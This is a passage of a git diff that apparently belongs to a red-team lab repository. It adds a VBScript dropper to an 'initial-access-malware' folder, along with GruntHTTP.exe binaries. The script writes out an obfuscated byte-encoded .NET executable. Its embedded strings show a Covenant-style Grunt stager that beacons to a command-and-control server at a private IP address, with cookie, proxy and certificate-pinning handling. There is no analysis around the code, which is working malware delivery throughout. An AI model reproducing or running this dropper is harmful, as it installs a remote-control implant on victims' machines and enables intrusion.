115 101 116 95 73 86 0 71 101" + WriteBytes objFile, "110 101 114 97 116 101 73 86 0 100 97 116 97 0 109 115 99 111 114 108 105 98 0 60" + WriteBytes objFile, "62 99 0 83 121 115 116 101 109 46 67 111 108 108 101 99 116 105 111 110 115 46 71" + WriteBytes objFile, "101 110 101 114 105 99 0 76 111 97 100 0 65 100 100 0 83 121 115 116 101 109 46 67" + WriteBytes objFile, "111 108 108 101 99 116 105 111 110 115 46 83 112 101 99 105 97 108 105 122 101 100" + WriteBytes objFile, "0 78 101 119 71 117 105 100 0 60 67 111 111 107 105 101 67 111 110 116 97 105 110" +End Sub + +Sub DumpFile3(objFile) + WriteBytes objFile, "101 114 62 107 95 95 66 97 99 107 105 110 103 70 105 101 108 100 0 82 101 112 108" + WriteBytes objFile, "97 99 101 0 103 101 116 95 83 116 97 99 107 84 114 97 99 101 0 115 101 116 95 77 111" + WriteBytes objFile, "100 101 0 80 97 100 100 105 110 103 77 111 100 101 0 67 105 112 104 101 114 77 111" + WriteBytes objFile, "100 101 0 103 101 116 95 77 101 115 115 97 103 101 0 67 114 101 100 101 110 116 105" + WriteBytes objFile, "97 108 67 97 99 104 101 0 73 110 118 111 107 101 0 69 110 117 109 101 114 97 98 108" + WriteBytes objFile, "101 0 73 68 105 115 112 111 115 97 98 108 101 0 67 111 110 115 111 108 101 0 87 114" + WriteBytes objFile, "105 116 101 76 105 110 101 0 103 101 116 95 78 101 119 76 105 110 101 0 69 115 99" + WriteBytes objFile, "97 112 101 0 83 101 99 117 114 105 116 121 80 114 111 116 111 99 111 108 84 121 112" + WriteBytes objFile, "101 0 83 121 115 116 101 109 46 67 111 114 101 0 67 97 112 116 117 114 101 0 77 101" + WriteBytes objFile, "116 104 111 100 66 97 115 101 0 68 105 115 112 111 115 101 0 80 97 114 115 101 0 88" + WriteBytes objFile, "53 48 57 67 101 114 116 105 102 105 99 97 116 101 0 67 114 101 97 116 101 0 83 84" + WriteBytes objFile, "65 84 104 114 101 97 100 65 116 116 114 105 98 117 116 101 0 67 111 109 112 105 108" + WriteBytes objFile, "101 114 71 101 110 101 114 97 116 101 100 65 116 116 114 105 98 117 116 101 0 68 101" + WriteBytes objFile, "98 117 103 103 97 98 108 101 65 116 116 114 105 98 117 116 101 0 67 111 109 112 105" + WriteBytes objFile, "108 97 116 105 111 110 82 101 108 97 120 97 116 105 111 110 115 65 116 116 114 105" + WriteBytes objFile, "98 117 116 101 0 82 117 110 116 105 109 101 67 111 109 112 97 116 105 98 105 108 105" + WriteBytes objFile, "116 121 65 116 116 114 105 98 117 116 101 0 69 120 101 99 117 116 101 0 66 121 116" + WriteBytes objFile, "101 0 103 101 116 95 86 97 108 117 101 0 118 97 108 117 101 0 100 97 114 109 122 116" + WriteBytes objFile, "53 122 46 118 53 104 46 101 120 101 0 115 101 116 95 80 97 100 100 105 110 103 0 69" + WriteBytes objFile, "110 99 111 100 105 110 103 0 85 115 101 67 101 114 116 80 105 110 110 105 110 103" + WriteBytes objFile, "0 70 114 111 109 66 97 115 101 54 52 83 116 114 105 110 103 0 84 111 66 97 115 101" + WriteBytes objFile, "54 52 83 116 114 105 110 103 0 68 111 119 110 108 111 97 100 83 116 114 105 110 103" + WriteBytes objFile, "0 85 112 108 111 97 100 83 116 114 105 110 103 0 71 101 116 67 101 114 116 72 97 115" + WriteBytes objFile, "104 83 116 114 105 110 103 0 84 111 88 109 108 83 116 114 105 110 103 0 84 111 83" + WriteBytes objFile, "116 114 105 110 103 0 71 101 116 83 116 114 105 110 103 0 83 117 98 115 116 114 105" + WriteBytes objFile, "110 103 0 100 97 114 109 122 116 53 122 46 118 53 104 0 77 97 116 99 104 0 67 111" + WriteBytes objFile, "109 112 117 116 101 72 97 115 104 0 67 111 118 101 110 97 110 116 67 101 114 116 72" + WriteBytes objFile, "97 115 104 0 85 114 105 0 117 114 105 0 82 101 109 111 116 101 67 101 114 116 105" + WriteBytes objFile, "102 105 99 97 116 101 86 97 108 105 100 97 116 105 111 110 67 97 108 108 98 97 99" + WriteBytes objFile, "107 0 115 101 116 95 83 101 114 118 101 114 67 101 114 116 105 102 105 99 97 116 101" + WriteBytes objFile, "86 97 108 105 100 97 116 105 111 110 67 97 108 108 98 97 99 107 0 84 114 97 110 115" + WriteBytes objFile, "102 111 114 109 70 105 110 97 108 66 108 111 99 107 0 78 101 116 119 111 114 107 67" + WriteBytes objFile, "114 101 100 101 110 116 105 97 108 0 115 101 116 95 83 101 99 117 114 105 116 121" + WriteBytes objFile, "80 114 111 116 111 99 111 108 0 103 101 116 95 73 116 101 109 0 83 121 115 116 101" + WriteBytes objFile, "109 0 83 121 109 109 101 116 114 105 99 65 108 103 111 114 105 116 104 109 0 65 115" + WriteBytes objFile, "121 109 109 101 116 114 105 99 65 108 103 111 114 105 116 104 109 0 72 97 115 104" + WriteBytes objFile, "65 108 103 111 114 105 116 104 109 0 82 97 110 100 111 109 0 77 101 115 115 97 103" + WriteBytes objFile, "101 84 114 97 110 115 102 111 114 109 0 73 67 114 121 112 116 111 84 114 97 110 115" + WriteBytes objFile, "102 111 114 109 0 66 111 111 108 101 97 110 0 77 97 105 110 0 88 53 48 57 67 104 97" + WriteBytes objFile, "105 110 0 99 104 97 105 110 0 83 121 115 116 101 109 46 82 101 102 108 101 99 116" + WriteBytes objFile, "105 111 110 0 78 97 109 101 86 97 108 117 101 67 111 108 108 101 99 116 105 111 110" + WriteBytes objFile, "0 71 114 111 117 112 67 111 108 108 101 99 116 105 111 110 0 87 101 98 72 101 97 100" + WriteBytes objFile, "101 114 67 111 108 108 101 99 116 105 111 110 0 69 120 99 101 112 116 105 111 110" + WriteBytes objFile, "0 77 101 116 104 111 100 73 110 102 111 0 71 114 111 117 112 0 83 121 115 116 101" + WriteBytes objFile, "109 46 76 105 110 113 0 67 104 97 114 0 82 83 65 67 114 121 112 116 111 83 101 114" + WriteBytes objFile, "118 105 99 101 80 114 111 118 105 100 101 114 0 115 101 110 100 101 114 0 66 117 102" + WriteBytes objFile, "102 101 114 0 83 101 114 118 105 99 101 80 111 105 110 116 77 97 110 97 103 101 114" + WriteBytes objFile, "0 69 120 101 99 117 116 101 83 116 97 103 101 114 0 71 114 117 110 116 83 116 97 103" + WriteBytes objFile, "101 114 0 103 101 116 95 67 111 111 107 105 101 67 111 110 116 97 105 110 101 114" + WriteBytes objFile, "0 115 101 116 95 67 111 111 107 105 101 67 111 110 116 97 105 110 101 114 0 84 101" + WriteBytes objFile, "120 116 87 114 105 116 101 114 0 103 101 116 95 69 114 114 111 114 0 71 101 116 69" + WriteBytes objFile, "110 117 109 101 114 97 116 111 114 0 82 97 110 100 111 109 78 117 109 98 101 114 71" + WriteBytes objFile, "101 110 101 114 97 116 111 114 0 46 99 116 111 114 0 46 99 99 116 111 114 0 67 114" + WriteBytes objFile, "101 97 116 101 68 101 99 114 121 112 116 111 114 0 67 114 101 97 116 101 69 110 99" + WriteBytes objFile, "114 121 112 116 111 114 0 115 116 114 0 83 121 115 116 101 109 46 68 105 97 103 110" + WriteBytes objFile, "111 115 116 105 99 115 0 71 101 116 77 101 116 104 111 100 115 0 65 101 115 0 83 121" + WriteBytes objFile, "115 116 101 109 46 82 117 110 116 105 109 101 46 67 111 109 112 105 108 101 114 83" + WriteBytes objFile, "101 114 118 105 99 101 115 0 68 101 98 117 103 103 105 110 103 77 111 100 101 115" + WriteBytes objFile, "0 83 101 116 67 111 111 107 105 101 115 0 99 111 111 107 105 101 115 0 71 101 116" + WriteBytes objFile, "84 121 112 101 115 0 83 121 115 116 101 109 46 83 101 99 117 114 105 116 121 46 67" + WriteBytes objFile, "114 121 112 116 111 103 114 97 112 104 121 46 88 53 48 57 67 101 114 116 105 102 105" + WriteBytes objFile, "99 97 116 101 115 0 71 101 116 66 121 116 101 115 0 98 121 116 101 115 0 97 114 103" + WriteBytes objFile, "115 0 73 67 114 101 100 101 110 116 105 97 108 115 0 115 101 116 95 67 114 101 100" + WriteBytes objFile, "101 110 116 105 97 108 115 0 103 101 116 95 68 101 102 97 117 108 116 78 101 116 119" + WriteBytes objFile, "111 114 107 67 114 101 100 101 110 116 105 97 108 115 0 115 101 116 95 85 115 101" + WriteBytes objFile, "68 101 102 97 117 108 116 67 114 101 100 101 110 116 105 97 108 115 0 67 111 110 116" + WriteBytes objFile, "97 105 110 115 0 83 121 115 116 101 109 46 84 101 120 116 46 82 101 103 117 108 97" + WriteBytes objFile, "114 69 120 112 114 101 115 115 105 111 110 115 0 103 101 116 95 71 114 111 117 112" + WriteBytes objFile, "115 0 103 101 116 95 72 101 97 100 101 114 115 0 67 115 112 80 97 114 97 109 101 116" + WriteBytes objFile, "101 114 115 0 83 115 108 80 111 108 105 99 121 69 114 114 111 114 115 0 101 114 114" + WriteBytes objFile, "111 114 115 0 97 100 100 114 101 115 115 0 67 111 110 99 97 116 0 70 111 114 109 97" + WriteBytes objFile, "116 0 102 111 114 109 97 116 0 79 98 106 101 99 116 0 83 101 108 101 99 116 0 83 121" + WriteBytes objFile, "115 116 101 109 46 78 101 116 0 83 101 116 0 83 112 108 105 116 0 67 111 111 107 105" + WriteBytes objFile, "101 87 101 98 67 108 105 101 110 116 0 69 110 118 105 114 111 110 109 101 110 116" + WriteBytes objFile, "0 103 101 116 95 67 117 114 114 101 110 116 0 103 101 116 95 67 111 117 110 116 0" + WriteBytes objFile, "68 101 99 114 121 112 116 0 86 97 108 105 100 97 116 101 67 101 114 116 0 99 101 114" + WriteBytes objFile, "116 0 73 110 118 101 114 116 0 67 111 110 118 101 114 116 0 72 116 116 112 87 101" + WriteBytes objFile, "98 82 101 113 117 101 115 116 0 71 101 116 87 101 98 82 101 113 117 101 115 116 0" + WriteBytes objFile, "84 111 76 105 115 116 0 77 111 118 101 78 101 120 116 0 83 121 115 116 101 109 46" + WriteBytes objFile, "84 101 120 116 0 82 101 103 101 120 0 65 114 114 97 121 0 103 101 116 95 75 101 121" + WriteBytes objFile, "0 115 101 116 95 75 101 121 0 83 121 115 116 101 109 46 83 101 99 117 114 105 116" + WriteBytes objFile, "121 46 67 114 121 112 116 111 103 114 97 112 104 121 0 65 115 115 101 109 98 108 121" + WriteBytes objFile, "0 66 108 111 99 107 67 111 112 121 0 111 112 95 69 113 117 97 108 105 116 121 0 111" + WriteBytes objFile, "112 95 73 110 101 113 117 97 108 105 116 121 0 83 121 115 116 101 109 46 78 101 116" + WriteBytes objFile, "46 83 101 99 117 114 105 116 121 0 103 101 116 95 80 114 111 120 121 0 115 101 116" + WriteBytes objFile, "95 80 114 111 120 121 0 73 87 101 98 80 114 111 120 121 0 103 101 116 95 68 101 102" + WriteBytes objFile, "97 117 108 116 87 101 98 80 114 111 120 121 0 0 49 104 0 116 0 116 0 112 0 58 0 47" + WriteBytes objFile, "0 47 0 49 0 57 0 50 0 46 0 49 0 54 0 56 0 46 0 50 0 48 0 46 0 49 0 48 0 55 0 58 0" + WriteBytes objFile, "56 0 48 0 0 1 0 33 86 0 88 0 78 0 108 0 99 0 105 0 49 0 66 0 90 0 50 0 86 0 117 0" + WriteBytes objFile, "100 0 65 0 61 0 61 0 0 129 17 84 0 87 0 57 0 54 0 97 0 87 0 120 0 115 0 89 0 83 0" + WriteBytes objFile, "56 0 49 0 76 0 106 0 65 0 103 0 75 0 70 0 100 0 112 0 98 0 109 0 82 0 118 0 100 0" + WriteBytes objFile, "51 0 77 0 103 0 84 0 108 0 81 0 103 0 78 0 105 0 52 0 120 0 75 0 83 0 66 0 66 0 99" + WriteBytes objFile, "0 72 0 66 0 115 0 90 0 86 0 100 0 108 0 89 0 107 0 116 0 112 0 100 0 67 0 56 0 49" + WriteBytes objFile, "0 77 0 122 0 99 0 117 0 77 0 122 0 89 0 103 0 75 0 69 0 116 0 73 0 86 0 69 0 49 0" + WriteBytes objFile, "77 0 76 0 67 0 66 0 115 0 97 0 87 0 116 0 108 0 73 0 69 0 100 0 108 0 89 0 50 0 116" + WriteBytes objFile, "0 118 0 75 0 83 0 66 0 68 0 97 0 72 0 74 0 118 0 98 0 87 0 85 0 118 0 78 0 68 0 69" + WriteBytes objFile, "0 117 0 77 0 67 0 52 0 121 0 77 0 106 0 73 0 52 0 76 0 106 0 65 0 103 0 85 0 50 0" + WriteBytes objFile, "70 0 109 0 89 0 88 0 74 0 112 0 76 0 122 0 85 0 122 0 78 0 121 0 52 0 122 0 78 0 103" + WriteBytes objFile, "0 61 0 61 0 0 129 21 76 0 50 0 86 0 117 0 76 0 88 0 86 0 122 0 76 0 50 0 108 0 117" + WriteBytes objFile, "0 90 0 71 0 86 0 52 0 76 0 109 0 104 0 48 0 98 0 87 0 119 0 47 0 99 0 71 0 70 0 110" +End Sub + +Sub DumpFile4(objFile) + WriteBytes objFile, "0 90 0 84 0 49 0 55 0 82 0 49 0 86 0 74 0 82 0 72 0 48 0 109 0 100 0 106 0 48 0 120" + WriteBytes objFile, "0 44 0 76 0 50 0 86 0 117 0 76 0 88 0 86 0 122 0 76 0 50 0 82 0 118 0 89 0 51 0 77" + WriteBytes objFile, "0 117 0 97 0 72 0 82 0 116 0 98 0 68 0 57 0 48 0 101 0 88 0 66 0 108 0 80 0 88 0 116" + WriteBytes objFile, "0 72 0 86 0 85 0 108 0 69 0 102 0 83 0 90 0 50 0 80 0 84 0 69 0 61 0 44 0 76 0 50" + WriteBytes objFile, "0 86 0 117 0 76 0 88 0 86 0 122 0 76 0 51 0 82 0 108 0 99 0 51 0 81 0 117 0 97 0 72" + WriteBytes objFile, "0 82 0 116 0 98 0 68 0 57 0 116 0 90 0 88 0 78 0 122 0 89 0 87 0 100 0 108 0 80 0" + WriteBytes objFile, "88 0 116 0 72 0 86 0 85 0 108 0 69 0 102 0 83 0 90 0 50 0 80 0 84 0 69 0 61 0 0 128" + WriteBytes objFile, "175 105 0 61 0 97 0 49 0 57 0 101 0 97 0 50 0 51 0 48 0 54 0 50 0 100 0 98 0 57 0" + WriteBytes objFile, "57 0 48 0 51 0 56 0 54 0 97 0 51 0 97 0 52 0 55 0 56 0 99 0 98 0 56 0 57 0 100 0 53" + WriteBytes objFile, "0 50 0 101 0 38 0 100 0 97 0 116 0 97 0 61 0 123 0 48 0 125 0 38 0 115 0 101 0 115" + WriteBytes objFile, "0 115 0 105 0 111 0 110 0 61 0 55 0 53 0 100 0 98 0 45 0 57 0 57 0 98 0 49 0 45 0" + WriteBytes objFile, "50 0 53 0 102 0 101 0 52 0 101 0 57 0 97 0 102 0 98 0 101 0 53 0 56 0 54 0 57 0 54" + WriteBytes objFile, "0 45 0 51 0 50 0 48 0 98 0 101 0 97 0 55 0 51 0 1 3 10 0 0 129 49 60 0 104 0 116 0" + WriteBytes objFile, "109 0 108 0 62 0 10 0 32 0 32 0 32 0 32 0 60 0 104 0 101 0 97 0 100 0 62 0 10 0 32" + WriteBytes objFile, "0 32 0 32 0 32 0 32 0 32 0 32 0 32 0 60 0 116 0 105 0 116 0 108 0 101 0 62 0 72 0" + WriteBytes objFile, "101 0 108 0 108 0 111 0 32 0 87 0 111 0 114 0 108 0 100 0 33 0 60 0 47 0 116 0 105" + WriteBytes objFile, "0 116 0 108 0 101 0 62 0 10 0 32 0 32 0 32 0 32 0 60 0 47 0 104 0 101 0 97 0 100 0" + WriteBytes objFile, "62 0 10 0 32 0 32 0 32 0 32 0 60 0 98 0 111 0 100 0 121 0 62 0 10 0 32 0 32 0 32 0" + WriteBytes objFile, "32 0 32 0 32 0 32 0 32 0 60 0 112 0 62 0 72 0 101 0 108 0 108 0 111 0 32 0 87 0 111" + WriteBytes objFile, "0 114 0 108 0 100 0 33 0 60 0 47 0 112 0 62 0 10 0 32 0 32 0 32 0 32 0 32 0 32 0 32" + WriteBytes objFile, "0 32 0 47 0 47 0 32 0 72 0 101 0 108 0 108 0 111 0 32 0 87 0 111 0 114 0 108 0 100" + WriteBytes objFile, "0 33 0 32 0 123 0 48 0 125 0 10 0 32 0 32 0 32 0 32 0 60 0 47 0 98 0 111 0 100 0 121" + WriteBytes objFile, "0 62 0 10 0 60 0 47 0 104 0 116 0 109 0 108 0 62 0 0 11 102 0 97 0 108 0 115 0 101" + WriteBytes objFile, "0 0 21 97 0 54 0 49 0 100 0 98 0 49 0 99 0 48 0 51 0 98 0 0 3 45 0 1 89 67 0 97 0" + WriteBytes objFile, "70 0 104 0 118 0 83 0 108 0 55 0 119 0 118 0 103 0 97 0 108 0 76 0 84 0 110 0 114" + WriteBytes objFile, "0 67 0 105 0 43 0 108 0 69 0 98 0 90 0 84 0 115 0 106 0 122 0 104 0 115 0 82 0 118" + WriteBytes objFile, "0 57 0 51 0 119 0 54 0 70 0 71 0 98 0 57 0 76 0 101 0 77 0 61 0 0 128 179 123 0 123" + WriteBytes objFile, "0 34 0 71 0 85 0 73 0 68 0 34 0 58 0 34 0 123 0 48 0 125 0 34 0 44 0 34 0 84 0 121" + WriteBytes objFile, "0 112 0 101 0 34 0 58 0 123 0 49 0 125 0 44 0 34 0 77 0 101 0 116 0 97 0 34 0 58 0" + WriteBytes objFile, "34 0 123 0 50 0 125 0 34 0 44 0 34 0 73 0 86 0 34 0 58 0 34 0 123 0 51 0 125 0 34" + WriteBytes objFile, "0 44 0 34 0 69 0 110 0 99 0 114 0 121 0 112 0 116 0 101 0 100 0 77 0 101 0 115 0 115" + WriteBytes objFile, "0 97 0 103 0 101 0 34 0 58 0 34 0 123 0 52 0 125 0 34 0 44 0 34 0 72 0 77 0 65 0 67" + WriteBytes objFile, "0 34 0 58 0 34 0 123 0 53 0 125 0 34 0 125 0 125 0 0 3 48 0 0 13 67 0 111 0 111 0" + WriteBytes objFile, "107 0 105 0 101 0 0 3 59 0 0 3 44 0 0 13 123 0 71 0 85 0 73 0 68 0 125 0 0 3 49 0" + WriteBytes objFile, "0 3 50 0 0 5 92 0 123 0 0 3 123 0 0 5 123 0 123 0 0 5 125 0 125 0 0 3 125 0 0 7 123" + WriteBytes objFile, "0 48 0 125 0 0 27 40 0 63 0 39 0 103 0 114 0 111 0 117 0 112 0 48 0 39 0 46 0 42 0" + WriteBytes objFile, "41 0 1 7 123 0 49 0 125 0 0 27 40 0 63 0 39 0 103 0 114 0 111 0 117 0 112 0 49 0 39" + WriteBytes objFile, "0 46 0 42 0 41 0 1 7 123 0 50 0 125 0 0 27 40 0 63 0 39 0 103 0 114 0 111 0 117 0" + WriteBytes objFile, "112 0 50 0 39 0 46 0 42 0 41 0 1 7 123 0 51 0 125 0 0 27 40 0 63 0 39 0 103 0 114" + WriteBytes objFile, "0 111 0 117 0 112 0 51 0 39 0 46 0 42 0 41 0 1 7 123 0 52 0 125 0 0 27 40 0 63 0 39" + WriteBytes objFile, "0 103 0 114 0 111 0 117 0 112 0 52 0 39 0 46 0 42 0 41 0 1 7 123 0 53 0 125 0 0 27" + WriteBytes objFile, "40 0 63 0 39 0 103 0 114 0 111 0 117 0 112 0 53 0 39 0 46 0 42 0 41 0 1 13 103 0 114" + WriteBytes objFile, "0 111 0 117 0 112 0 48 0 0 13 103 0 114 0 111 0 117 0 112 0 49 0 0 13 103 0 114 0" + WriteBytes objFile, "111 0 117 0 112 0 50 0 0 13 103 0 114 0 111 0 117 0 112 0 51 0 0 13 103 0 114 0 111" + WriteBytes objFile, "0 117 0 112 0 52 0 0 13 103 0 114 0 111 0 117 0 112 0 53 0 0 217 166 66 42 72 81 217" + WriteBytes objFile, "65 141 71 127 130 254 247 139 229 0 4 32 1 1 8 3 32 0 1 5 32 1 1 17 17 87 7 44 18" + WriteBytes objFile, "20 21 18 29 1 14 21 18 29 1 14 21 18 29 1 14 21 18 29 1 14 14 14 18 33 14 14 29 5" + WriteBytes objFile, "14 18 37 18 41 18 45 29 5 29 5 29 5 14 14 18 12 14 14 14 14 29 5 29 5 29 5 18 37 29" + WriteBytes objFile, "5 29 5 14 29 5 29 5 29 5 14 17 49 21 17 53 1 14 14 8 8 8 8 18 57 6 32 1 29 14 29 3" + WriteBytes objFile, "15 16 1 1 21 18 29 1 30 0 21 18 117 1 30 0 3 10 1 14 6 21 18 101 2 14 14 5 32 2 1" + WriteBytes objFile, "28 24 23 16 2 2 21 18 117 1 30 1 21 18 117 1 30 0 21 18 101 2 30 0 30 1 4 10 2 14" + WriteBytes objFile, "14 3 0 0 14 5 32 2 14 14 14 4 0 1 2 14 4 0 0 17 49 3 32 0 14 5 32 2 14 8 8 5 0 1 29" + WriteBytes objFile, "5 14 4 0 0 18 37 6 32 1 1 17 128 137 6 32 1 1 17 128 141 5 32 1 1 29 5 7 32 2 1 8" + WriteBytes objFile, "18 128 145 5 0 0 18 128 149 4 32 1 14 2 5 32 1 29 5 14 5 32 0 18 128 157 8 32 3 29" + WriteBytes objFile, "5 29 5 8 8 6 32 1 29 5 29 5 5 0 2 14 14 14 4 32 0 29 5 5 0 1 14 29 5 6 0 2 14 14 29" + WriteBytes objFile, "28 6 0 1 1 17 128 169 6 0 1 1 18 128 173 4 32 1 1 2 5 0 0 18 128 177 6 32 1 1 18 128" + WriteBytes objFile, "177 5 32 0 18 128 177 5 0 0 18 128 185 6 32 1 1 18 128 189 5 21 18 29 1 14 8 32 0" + WriteBytes objFile, "21 17 53 1 19 0 5 21 17 53 1 14 4 32 0 19 0 5 32 1 19 0 8 5 0 2 2 14 14 4 32 1 1 14" + WriteBytes objFile, "5 32 0 18 128 193 5 32 2 1 14 14 3 32 0 8 4 32 1 8 8 4 32 1 14 14 3 32 0 2 5 0 2 14" + WriteBytes objFile, "14 28 5 32 1 14 29 5 7 32 2 29 5 29 5 2 5 0 0 18 128 209 12 0 5 1 18 128 217 8 18" + WriteBytes objFile, "128 217 8 8 7 0 1 18 128 221 29 5 6 32 0 29 18 128 225 6 32 0 29 18 128 229 6 32 2" + WriteBytes objFile, "28 28 29 28 5 0 0 18 128 241 6 0 3 14 14 14 14 9 7 2 18 61 21 18 29 1 14 4 0 1 14" + WriteBytes objFile, "14 4 32 1 2 14 5 32 1 18 61 14 5 32 0 18 128 249 6 32 1 18 128 253 14 5 32 1 1 19" + WriteBytes objFile, "0 6 32 2 1 18 77 14 4 7 1 18 85 6 32 1 18 81 18 77 5 32 1 1 18 73 3 7 1 2 8 183 122" + WriteBytes objFile, "92 86 25 52 224 137 3 6 18 73 2 6 2 2 6 14 3 6 18 24 7 6 21 18 101 2 14 14 5 0 1 1" + WriteBytes objFile, "29 14 3 0 0 1 9 0 2 21 18 29 1 14 14 14 4 32 0 18 73 10 32 4 2 28 18 89 18 93 17 97" + WriteBytes objFile, "4 40 0 18 73 8 1 0 8 0 0 0 0 0 30 1 0 1 0 84 2 22 87 114 97 112 78 111 110 69 120" + WriteBytes objFile, "99 101 112 116 105 111 110 84 104 114 111 119 115 1 8 1 0 2 0 0 0 0 0 4 1 0 0 0 0" + WriteBytes objFile, "0 248 71 0 0 0 0 0 0 0 0 0 0 18 72 0 0 0 32 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0" + WriteBytes objFile, "0 0 0 4 72 0 0 0 0 0 0 0 0 0 0 0 0 95 67 111 114 69 120 101 77 97 105 110 0 109 115" + WriteBytes objFile, "99 111 114 101 101 46 100 108 108 0 0 0 0 0 255 37 0 32 64 0 0 0 0 0 0 0 0 0 0 0 0" + WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0" + WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0" + WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0" + WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0" + WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0" + WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0" + WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0" + WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0" + WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0" + WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0" + WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0" + WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 64 0 0 12 0 0 0 36 56 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0" + WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0" + WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0" + WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0" + WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0" + WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0" + WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0" + WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0" + WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0" + WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0" + WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0" + WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0" + WriteBytes objFile, "0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0" +End Sub + +Sub DumpFile(strFilename) + Dim objFSO + Dim objFile + + Set objFSO = CreateObject("Scripting.FileSystemObject") + Set objFile = objFSO.OpenTextFile(strFilename, 2, true) + DumpFile1 objFile + DumpFile2 objFile + DumpFile3 objFile + DumpFile4 objFile + objFile.Close +End Sub diff --git a/2-4-initial-access-malware/GruntHTTP.exe b/2-4-initial-access-malware/GruntHTTP.exe new file mode 100644 index 0000000..ee166eb Binary files /dev/null and b/2-4-initial-access-malware/GruntHTTP.exe differ diff --git a/2-4-initial-access-malware/file.exe b/2-4-initial-access-malware/file.exe new file mode 100644 index 0000000..ee166eb Binary files /dev/null and b/2-4-initial-access-malware/file.exe differ